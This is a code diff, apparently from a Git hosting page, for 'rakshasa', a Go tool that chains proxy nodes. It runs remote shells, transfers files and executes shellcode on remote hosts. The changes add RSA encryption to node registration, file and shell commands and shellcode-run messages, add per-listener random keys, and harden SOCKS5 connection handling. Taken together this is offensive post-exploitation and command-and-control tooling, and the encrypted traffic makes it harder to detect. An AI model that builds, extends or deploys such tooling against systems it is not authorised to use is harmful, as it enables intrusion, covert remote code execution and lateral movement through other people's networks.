go func() {
|
||||
var s ShellCodeStruct
|
||||
err = json.Unmarshal(msg.CmdData, &s)
|
||||
|
||||
err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), &s)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
|
||||
}
|
||||
@@ -1142,9 +1211,9 @@ func (n *node) remoteReg(addr string) (newN *node, err error) {
|
||||
regmsg := common.RegMsg{
|
||||
RegAddr: addr,
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: currentNode.mainIp,
|
||||
Port: currentNode.port,
|
||||
Goos: currentNode.goos,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
|
||||
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||
}
|
||||
regmsg.Hostname, _ = os.Hostname()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
@@ -1175,13 +1244,14 @@ func (n *node) Close(reason string) {
|
||||
n.Delete(reason)
|
||||
}
|
||||
func getNewNode(m nodeInfo, n *node) *node {
|
||||
port, _ := strconv.Atoi(m.Port)
|
||||
newNode := &node{
|
||||
uuid: m.UUID,
|
||||
hostName: m.HostName,
|
||||
conn: n.conn,
|
||||
pongTime: time.Now().Unix(),
|
||||
mainIp: m.MainIp,
|
||||
port: m.Port,
|
||||
port: port,
|
||||
goos: m.Goos,
|
||||
}
|
||||
|
||||
@@ -1283,54 +1353,57 @@ func (n *node) ping(id uint32) {
|
||||
}
|
||||
func (n *node) Delete(reason string) {
|
||||
go func() {
|
||||
l := clientLock.Lock()
|
||||
_, ok := nodeMap[n.uuid]
|
||||
if ok {
|
||||
delete(nodeMap, n.uuid)
|
||||
}
|
||||
l.Unlock()
|
||||
n.connMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
if atomic.CompareAndSwapInt32(&n.isClose, 0, 1) {
|
||||
l := clientLock.Lock()
|
||||
_, ok := nodeMap[n.uuid]
|
||||
if ok {
|
||||
delete(nodeMap, n.uuid)
|
||||
}
|
||||
n.connMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.udpConnMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
}
|
||||
n.udpConnMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.listenMap.Range(func(key, value interface{}) bool {
|
||||
l.Unlock()
|
||||
n.connMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
}
|
||||
n.connMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.udpConnMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
}
|
||||
n.udpConnMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.listenMap.Range(func(key, value interface{}) bool {
|
||||
|
||||
if v, ok := value.(*serverListen); ok {
|
||||
v.listen.Close()
|
||||
}
|
||||
n.listenMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.shellMap.Range(func(key, value interface{}) bool {
|
||||
v := value.(*remoteCmd)
|
||||
if v.cmd != nil {
|
||||
v.cmd.Process.Kill()
|
||||
}
|
||||
n.shellMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
if v, ok := value.(*serverListen); ok {
|
||||
v.listen.Close()
|
||||
}
|
||||
n.listenMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.shellMap.Range(func(key, value interface{}) bool {
|
||||
v := value.(*remoteCmd)
|
||||
if v.cmd != nil {
|
||||
v.cmd.Process.Kill()
|
||||
}
|
||||
n.shellMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
}()
|
||||
|
||||
}
|
||||
func (n *node) broadcastNode() {
|
||||
|
||||
//广播新增节点
|
||||
nmsg := nodeInfo{
|
||||
nmsg := &nodeInfo{
|
||||
UUID: n.uuid,
|
||||
HostName: n.hostName,
|
||||
MainIp: n.mainIp,
|
||||
Port: n.port,
|
||||
Goos: n.goos,
|
||||
HostName: cert.RSAEncrypterStr(n.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(n.mainIp),
|
||||
Port: cert.RSAEncrypterStr(fmt.Sprint(n.port)),
|
||||
Goos: cert.RSAEncrypterStr(n.goos),
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(nmsg)
|
||||
@@ -1358,19 +1431,20 @@ func GetNodeFromAddrs(dst []string) (n *node, err error) {
|
||||
if n, err = getNode(dst[0]); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
}
|
||||
for i := 1; i < len(dst); i++ {
|
||||
n, err = n.remoteReg(dst[i])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s,%v", dst[i], err)
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
}
|
||||
}
|
||||
if n == nil {
|
||||
return nil, fmt.Errorf("无法连接 %v", dst)
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
}
|
||||
n.reConnectAddrs = make([]string, len(dst))
|
||||
copy(n.reConnectAddrs, dst)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1415,16 +1489,16 @@ func (n *node) writeGetNodeResult(id uint32) {
|
||||
|
||||
defer l.RUnlock()
|
||||
|
||||
var s []nodeInfo
|
||||
var s []*nodeInfo
|
||||
|
||||
for _, _n := range nodeMap {
|
||||
if _n.uuid != currentNode.uuid {
|
||||
s = append(s, nodeInfo{
|
||||
s = append(s, &nodeInfo{
|
||||
UUID: _n.uuid,
|
||||
HostName: _n.hostName,
|
||||
MainIp: _n.mainIp,
|
||||
Port: _n.port,
|
||||
Goos: _n.goos,
|
||||
HostName: cert.RSAEncrypterStr(_n.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(_n.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
|
||||
Goos: cert.RSAEncrypterStr(_n.goos),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -1436,6 +1510,6 @@ func (n *node) writeGetNodeResult(id uint32) {
|
||||
func (n *node) updateNode(msg nodeInfo) {
|
||||
n.hostName = msg.HostName
|
||||
n.mainIp = msg.MainIp
|
||||
n.port = msg.Port
|
||||
n.port, _ = strconv.Atoi(msg.Port)
|
||||
n.goos = msg.Goos
|
||||
}
|
||||
|
||||
@@ -1,10 +1,13 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"math/rand"
|
||||
"net"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -31,6 +34,7 @@ type clientListen struct {
|
||||
connMap sync.Map //clientListen关闭的时候关掉这里的id
|
||||
listen net.Listener
|
||||
result chan interface{}
|
||||
randkey []byte //随机key int64
|
||||
}
|
||||
|
||||
func StartRawBind(str string, dst []string) error {
|
||||
@@ -57,8 +61,10 @@ func StartRawBind(str string, dst []string) error {
|
||||
typ: "bind",
|
||||
result: make(chan interface{}),
|
||||
openOption: common.CMD_LISTEN,
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
l.openMsg = []byte(addrs[1])
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
l.openMsg =cert.RSAEncrypterByPrivByte(append(l.randkey,[]byte(addrs[1])...))
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
n.Write(l.openOption, l.id, l.openMsg)
|
||||
select {
|
||||
@@ -101,7 +107,9 @@ func StartRawConnect(str string, n *node) error {
|
||||
listen: listen,
|
||||
server: n,
|
||||
typ: "connect",
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
|
||||
go func() {
|
||||
@@ -117,10 +125,17 @@ func StartRawConnect(str string, n *node) error {
|
||||
s := &clientConnect{
|
||||
conn: conn,
|
||||
server: n,
|
||||
randkey: l.randkey,
|
||||
}
|
||||
s.OnOpened()
|
||||
s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port))
|
||||
go rawHandleLocal(s)
|
||||
if s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port)) {
|
||||
go rawHandleLocal(s)
|
||||
} else {
|
||||
s.Close(nodeIsClose)
|
||||
if common.Debug {
|
||||
fmt.Println("Connect连接失败,远程节点已关闭")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
@@ -169,7 +184,7 @@ func rawHandleLocal(s *clientConnect) {
|
||||
}
|
||||
data := make([]byte, 8+n)
|
||||
copy(data, buf)
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, buf)
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, buf[:8+n])
|
||||
}
|
||||
}
|
||||
func init() {
|
||||
@@ -230,7 +245,7 @@ func init() {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
@@ -244,7 +259,7 @@ func init() {
|
||||
bindshell.Run()
|
||||
},
|
||||
})
|
||||
connectshell := ishell.New()
|
||||
connectshell := cliInit()
|
||||
connectshell.SetPrompt("rakshasa\\connect>")
|
||||
connectshell.AddCmd(&ishell.Cmd{
|
||||
Name: "list",
|
||||
@@ -308,7 +323,7 @@ func init() {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
|
||||
@@ -27,7 +27,7 @@ func (l *serverListen) Lisen() {
|
||||
|
||||
if l.isSocks5 {
|
||||
conn.id = l.id
|
||||
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
|
||||
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey,l.socks5Replay...))
|
||||
go conn.handTcpReceive()
|
||||
return
|
||||
}
|
||||
@@ -38,7 +38,7 @@ func (l *serverListen) Lisen() {
|
||||
b[1] = byte(conn.id >> 8)
|
||||
b[2] = byte(conn.id >> 16)
|
||||
b[3] = byte(conn.id >> 24)
|
||||
conn.node.Write(common.CMD_CONNECT_BYID, l.id, b)
|
||||
conn.node.Write(common.CMD_CONNECT_BYID, l.id, append(l.randkey,b...))
|
||||
l.connMap.Store(conn.id, conn)
|
||||
go conn.handTcpReceive()
|
||||
|
||||
@@ -58,7 +58,7 @@ func (l *serverListen) Close(reason string) {
|
||||
})
|
||||
if reason != remoteClose {
|
||||
|
||||
l.node.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
l.node.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -20,9 +23,11 @@ func StartRemoteSocks5(cfg *common.Addr, n *node) error {
|
||||
server: n,
|
||||
typ: "socks5",
|
||||
result: make(chan interface{}),
|
||||
randkey: make([]byte,8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey,uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
l.openOption = common.CMD_REMOTE_SOCKS5
|
||||
l.openMsg = []byte(cfg.String())
|
||||
l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey,cfg.String()...))
|
||||
n.Write(l.openOption, l.id, l.openMsg)
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
select {
|
||||
@@ -110,7 +115,7 @@ func init() {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
|
||||
+21
-18
@@ -6,6 +6,7 @@ package server
|
||||
*/
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -13,8 +14,9 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -24,7 +26,6 @@ import (
|
||||
|
||||
"github.com/abiosoft/readline"
|
||||
"github.com/creack/pty"
|
||||
"github.com/dlclark/regexp2"
|
||||
"github.com/luyu6056/ishell"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
@@ -109,7 +110,7 @@ func init() {
|
||||
c.Println(c.Args)
|
||||
currentConfig.Password = c.Args[0]
|
||||
currentConfig.FileSave = false
|
||||
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PublicKey[:16]))
|
||||
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.RsaPrivateKey[:16]))
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
@@ -133,7 +134,9 @@ func init() {
|
||||
currentConfig.Port = port
|
||||
currentNode.port = port
|
||||
currentConfig.FileSave = false
|
||||
StartServer(fmt.Sprintf("%s:%d",currentConfig.ListenIp,currentConfig.Port))
|
||||
if err := StartServer(fmt.Sprintf(":%d", currentConfig.Port)); err != nil {
|
||||
c.Printf("启动节点失败 %v, 请重新修改监听端口",currentConfig.Port)
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
@@ -188,7 +191,7 @@ func init() {
|
||||
|
||||
remoteShell.SetPrompt("rakshasa\\remoteshell>")
|
||||
|
||||
fileShell := ishell.New()
|
||||
fileShell := cliInit()
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "file",
|
||||
Help: "连到节点进行文件管理,参数为id或者uuid",
|
||||
@@ -208,7 +211,7 @@ func init() {
|
||||
fileShell.Set("node", workN)
|
||||
result := make(chan interface{}, 1)
|
||||
id := workN.storeQuery(result)
|
||||
workN.Write(common.CMD_PWD, id, nil)
|
||||
workN.Write(common.CMD_PWD, id, []byte(cert.RSAEncrypterByPriv(currentConfig.Password)))
|
||||
select {
|
||||
case pwd := <-result:
|
||||
workN.deleteQuery(id)
|
||||
@@ -234,7 +237,7 @@ func init() {
|
||||
n := c.Get("node").(*node)
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_DIR, id, []byte(pwd.(string)))
|
||||
n.Write(common.CMD_DIR, id, []byte(cert.RSAEncrypterByPriv(pwd.(string))))
|
||||
select {
|
||||
case res := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
@@ -261,12 +264,12 @@ func init() {
|
||||
pwd = dir
|
||||
} else {
|
||||
pwd += "/" + dir
|
||||
pwd = strings.TrimRight(realpath(pwd), "/")
|
||||
pwd = strings.TrimRight(getRealPath(pwd), "/")
|
||||
}
|
||||
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_CD, id, []byte(pwd))
|
||||
n.Write(common.CMD_CD, id, []byte(cert.RSAEncrypterByPriv(pwd)))
|
||||
|
||||
select {
|
||||
case res := <-resChan:
|
||||
@@ -326,7 +329,7 @@ func init() {
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(realpath(dir), "/") + "/"
|
||||
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
|
||||
pwd = dir + filename
|
||||
resChan := make(chan interface{}, 9999) //避免收消息阻塞
|
||||
|
||||
@@ -372,7 +375,7 @@ func init() {
|
||||
b[be+6] = byte(offset >> 48)
|
||||
b[be+7] = byte(offset >> 56)
|
||||
offset += len(data)
|
||||
n.Write(common.CMD_UPLOAD, id, append(b, data...))
|
||||
n.Write(common.CMD_UPLOAD, id, cert.RSAEncrypterByPrivByte(append(b, data...)))
|
||||
case res := <-resChan:
|
||||
switch v := res.(type) {
|
||||
case error:
|
||||
@@ -432,7 +435,7 @@ func init() {
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(realpath(dir), "/") + "/"
|
||||
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
|
||||
mydir, err := os.Getwd()
|
||||
local := "./" + filename
|
||||
if err == nil {
|
||||
@@ -468,7 +471,7 @@ func init() {
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id, b)
|
||||
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
|
||||
c.ProgressBar().Start()
|
||||
size := int64(0)
|
||||
resnum := 0
|
||||
@@ -525,7 +528,7 @@ func init() {
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id, b)
|
||||
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
|
||||
}
|
||||
default:
|
||||
c.Println("协议错误")
|
||||
@@ -585,7 +588,7 @@ func init() {
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(p)
|
||||
n.Write(common.CMD_SHELL, id, b)
|
||||
n.Write(common.CMD_SHELL, id, cert.RSAEncrypterByPrivByte(b))
|
||||
s := &remoteCmd{
|
||||
cmd: nil,
|
||||
stdin: nil,
|
||||
@@ -621,8 +624,8 @@ func init() {
|
||||
if !common.EnableTermVt {
|
||||
s.translate = func(in []byte) ([]byte, error) {
|
||||
if in[0] == 27 {
|
||||
r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0)
|
||||
res, _ := r.Replace(string(in), "", 0, -1)
|
||||
r, _ := regexp.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`)
|
||||
res := r.ReplaceAllString(string(in), "")
|
||||
return []byte(res), nil
|
||||
}
|
||||
return in, nil
|
||||
@@ -758,7 +761,7 @@ func printNodes(c *ishell.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
func realpath(path string) string {
|
||||
func getRealPath(path string) string {
|
||||
|
||||
path_s := strings.Split(path, "/")
|
||||
realpath := []string{}
|
||||
|
||||
+2
-1
@@ -10,6 +10,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"time"
|
||||
@@ -44,7 +45,7 @@ func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) erro
|
||||
id := n.storeQuery(res)
|
||||
|
||||
b, _ := json.Marshal(s)
|
||||
n.Write(common.CMD_RUN_SHELLCODE, id, b)
|
||||
n.Write(common.CMD_RUN_SHELLCODE, id, cert.RSAEncrypterByPrivByte(b))
|
||||
select {
|
||||
case v := <-res:
|
||||
fmt.Println("运行结果\n", v)
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
|
||||
var (
|
||||
kernel32 = syscall.MustLoadDLL("kernel32.dll")
|
||||
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
|
||||
|
||||
old32 = syscall.MustLoadDLL("ole32.dll")
|
||||
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
|
||||
)
|
||||
@@ -22,6 +22,7 @@ func shellcodeRun(code []byte) error {
|
||||
fmt.Println(err)
|
||||
}
|
||||
}()
|
||||
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
|
||||
l := uintptr(len(code))
|
||||
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
|
||||
|
||||
|
||||
+41
-26
@@ -2,11 +2,13 @@ package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa/common"
|
||||
"runtime/debug"
|
||||
@@ -14,14 +16,13 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
|
||||
const (
|
||||
STATUS_OFF = 0
|
||||
STATUS_ON = 1
|
||||
UDP_PORT_MIN = 30000
|
||||
UDP_PORT_MAX = 60000
|
||||
SOCKES5_VERSION = 5
|
||||
@@ -29,13 +30,11 @@ const (
|
||||
|
||||
var (
|
||||
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||
SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2}
|
||||
|
||||
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
|
||||
PROTOCOL_ERR = errors.New("protocolErr")
|
||||
)
|
||||
|
||||
const (
|
||||
SERVER_NUM = 4 //有效的连接数量
|
||||
CONN_AUTH_CLOSE = 0
|
||||
CONN_AUTH_NONE = 1
|
||||
CONN_AUTH_PW = 2
|
||||
@@ -64,6 +63,7 @@ type clientConnect struct {
|
||||
addrData []byte
|
||||
|
||||
listenId uint32
|
||||
randkey []byte
|
||||
}
|
||||
|
||||
func (s *clientConnect) Write(b []byte) {
|
||||
@@ -72,10 +72,10 @@ func (s *clientConnect) Write(b []byte) {
|
||||
|
||||
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||
|
||||
switch common.NetWork(b[1]) {
|
||||
switch common.NetWork(b[9]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
|
||||
if b[2] != 1 {
|
||||
if b[10] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
} else {
|
||||
|
||||
@@ -87,11 +87,11 @@ func (s *clientConnect) Write(b []byte) {
|
||||
s.auth = CONN_AUTH_MESSAGE
|
||||
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
|
||||
case common.RAW_TCP:
|
||||
if b[2] != 1 {
|
||||
if b[10] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
}
|
||||
default:
|
||||
log.Println("未处理")
|
||||
log.Println("socks5 未处理")
|
||||
}
|
||||
|
||||
case common.CMD_CONN_MSG:
|
||||
@@ -108,7 +108,7 @@ func (s *clientConnect) Write(b []byte) {
|
||||
}
|
||||
|
||||
var remoteClose = "服务器要求远程关闭"
|
||||
|
||||
var nodeIsClose = "节点已经断开连接"
|
||||
func (s *clientConnect) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
|
||||
|
||||
@@ -184,7 +184,9 @@ func StartSocks5(cfg *common.Addr, dst []string) error {
|
||||
localAddr: cfg.Addr(),
|
||||
id: common.GetID(),
|
||||
typ: "socks5",
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
l.listen, err = StartSocks5WithServer(cfg, target, l.id)
|
||||
if err != nil {
|
||||
|
||||
@@ -199,7 +201,8 @@ func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener,
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
randkey := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
fmt.Println("socks5 start ", cfg.Addr())
|
||||
go func() {
|
||||
for {
|
||||
@@ -216,6 +219,7 @@ func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener,
|
||||
conn: conn,
|
||||
server: n,
|
||||
listenId: id,
|
||||
randkey: randkey,
|
||||
}
|
||||
|
||||
go handleSocks5Local(c)
|
||||
@@ -262,7 +266,7 @@ func handleSocks5Local(s *clientConnect) {
|
||||
if len(data) > 2 {
|
||||
if data[0] == 5 {
|
||||
if s.cfg.User() != "" && s.cfg.Password() != "" {
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES)
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD)
|
||||
s.auth = CONN_AUTH_PW
|
||||
} else {
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES)
|
||||
@@ -298,11 +302,14 @@ func handleSocks5Local(s *clientConnect) {
|
||||
switch common.NetWork(data[1]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
addr, port := socks5ReadAddr(data)
|
||||
|
||||
s.connect(common.SOCKS5_CMD_CONNECT, addr, port)
|
||||
if !s.connect(common.SOCKS5_CMD_CONNECT, addr, port){
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
addr, port := socks5ReadAddr(data)
|
||||
s.connect(common.SOCKS5_CMD_BIND, addr, port)
|
||||
if !s.connect(common.SOCKS5_CMD_BIND, addr, port){
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
case common.SOCKS5_CMD_UDP:
|
||||
|
||||
localIP := s.conn.LocalAddr().String()
|
||||
@@ -329,11 +336,13 @@ func handleSocks5Local(s *clientConnect) {
|
||||
ipb := ipToByte(localIP)
|
||||
addr, port := socks5ReadAddr(data)
|
||||
|
||||
s.connect(common.SOCKS5_CMD_UDP, addr, port)
|
||||
|
||||
copy(repdata[4:], ipb)
|
||||
s.conn.Write(repdata)
|
||||
go handleSocks5Udp(s)
|
||||
if s.connect(common.SOCKS5_CMD_UDP, addr, port){
|
||||
copy(repdata[4:], ipb)
|
||||
s.conn.Write(repdata)
|
||||
go handleSocks5Udp(s)
|
||||
}else{
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
default:
|
||||
data[0] = 5
|
||||
data[1] = 7 //RepCmdNotSupported
|
||||
@@ -393,6 +402,7 @@ func handleSocks5Udp(s *clientConnect) {
|
||||
|
||||
udps := &clientConnect{
|
||||
server: s.server,
|
||||
randkey: s.randkey,
|
||||
}
|
||||
udps.udpConn = s.udpConn
|
||||
udps.id = udps.server.storeConn(s)
|
||||
@@ -416,17 +426,21 @@ func handleSocks5Udp(s *clientConnect) {
|
||||
}
|
||||
|
||||
}
|
||||
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) {
|
||||
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16)bool {
|
||||
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||
s.server, _ = GetNodeFromAddrs(s.server.reConnectAddrs)
|
||||
}
|
||||
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||
return false
|
||||
}
|
||||
ports := strconv.Itoa(int(port))
|
||||
|
||||
buf := make([]byte, 2+len(addr)+len(ports))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(command)
|
||||
copy(buf[1:], addr)
|
||||
buf[1+len(addr)] = ':'
|
||||
copy(buf[2+len(addr):], ports)
|
||||
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
@@ -435,6 +449,7 @@ func (s *clientConnect) connect(command common.NetWork, addr string, port uint16
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func Bytes2str(b []byte) string {
|
||||
@@ -450,7 +465,7 @@ func (s *clientConnect) Remoteclose() {
|
||||
buf[1] = byte(s.id >> 8)
|
||||
buf[2] = byte(s.id >> 16)
|
||||
buf[3] = byte(s.id >> 24)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
|
||||
|
||||
}
|
||||
func init() {
|
||||
@@ -521,7 +536,7 @@ func init() {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user